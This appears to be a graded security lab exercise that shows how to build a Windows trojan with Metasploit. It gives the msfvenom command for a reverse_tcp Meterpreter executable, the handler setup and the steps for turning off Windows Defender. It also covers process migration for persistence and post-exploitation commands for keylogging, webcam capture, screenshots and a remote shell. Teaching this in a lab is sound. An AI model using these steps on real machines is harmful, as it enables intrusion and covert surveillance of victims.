H 320: Creating a Trojan with Metasploit (15 pts)

What You Need

• A Debian 10 Linux machine
• A Windows target machine without antivirus software--I used a Windows Server 2016 virtual machine.

Purpose

A user who runs that file surrenders control of their computer.

Task 1: Configuring Networking

Finding Your Linux Server's IP Address

The exact commands required vary for different cyber range setups, as detailed in previous projects.

Ping Test

ping 192.168.100.1

Installing Apache

sudo apt update
sudo apt install apache2 -y
sudo ss -lnt

Testing the Connection to Port 80

http://192.168.100.1

Installing Npcap

On your Windows machine, in a Web browser, enter this address:

https://nmap.org/npcap/#download

Starting a socat Forwarder on Port 4444

sudo apt install socat -y
socat TCP-LISTEN:4444,fork TCP:127.0.0.1:80

Testing the Connection to Port 4444

http://192.168.100.1:4444

Once the test succeeds, on your Linux system, press Ctrl+C to stop socat.

Disabling Windows Defender

Launch "Windows Defender".

At the top right, click Settings.

Turn off "Real-time protection", as shown below:

Task 2: Creating Malware

Installing Metasploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Using Msfvenom to Make a Malicious EXE

Adjust the IP address to match the IP address of your Linux machine (the C&C server).

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.1 -f exe -o /var/www/html/fun.exe
sudo service apache2 start

Launching Msfconsole

sudo msfconsole -q
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit

Running the Malware on the Target Machine

http://192.168.100.1/fun.exe

Note: if you are using antivirus, you will need to disable it. You will also need to disable Windows Defender. If you have problems disabling your malware protection, use the Windows 2008 Server virtual machine, which has no malware protection.

On your Linux machine, a meterpeter session opens, as shown below.

Using The Meterpreter Shell

help

Migrating to a Different Process

To become more persistent, we'll migrate to a process that will last longer.

To see a list of processes, at the meterpreter > prompt, execute this command:

ps

At the meterpreter > prompt, execute this command:

migrate -N explorer.exe

• On Linux, at the meterpreter > prompt, execute exit
• On Linux, at the meterpreter > prompt, execute exploit
• Restart the Windows target machine, log in, and run fun.exe again
• On Linux, at the meterpreter > prompt, execute migrate -N explorer.exe

If you can't get it to work after a few tries, skip it and proceed to the next section.

Post-Exploitation

screenshot	Gives you an image of the target's desktop
keyscan_start	Begins capturing keys typed in the target. On the Windows target, open Notepad and type in some text, such as your name.
keyscan_dump	Shows the keystrokes captured so far
webcam_list	Shows the available webcams (if any)
webcam_snap	Takes a photo with the webcam
shell	Gives you a Windows Command Prompt on the target
exit	Leaves the Windows Command Prompt

Viewing System Information

sysinfo

Notice the "Meterpreter" name for this connection, which is redacted in the image below.

H 320.1: "Meterpreter" name (15 pts)